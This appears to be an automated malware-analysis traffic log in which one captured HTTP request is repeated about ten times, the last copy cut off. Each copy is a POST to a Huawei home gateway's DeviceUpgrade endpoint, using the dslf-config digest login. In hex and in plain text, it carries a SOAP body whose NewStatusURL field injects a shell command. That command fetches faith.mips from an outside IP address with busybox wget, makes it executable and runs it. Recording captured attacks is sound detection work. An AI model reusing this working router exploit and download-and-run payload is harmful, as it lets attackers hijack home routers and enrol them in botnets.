Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 32 35 34 2e 33 37 2e 32 34 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.254.37.243 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 32 35 34 2e 33 37 2e 32 34 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.254.37.243 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 32 35 34 2e 33 37 2e 32 34 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.254.37.243 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 32 35 34 2e 33 37 2e 32 34 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.254.37.243 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 32 35 34 2e 33 37 2e 32 34 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.254.37.243 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 32 35 34 2e 33 37 2e 32 34 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.254.37.243 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 32 35 34 2e 33 37 2e 32 34 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.254.37.243 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 32 35 34 2e 33 37 2e 32 34 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.254.37.243 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 32 35 34 2e 33 37 2e 32 34 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.254.37.243 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 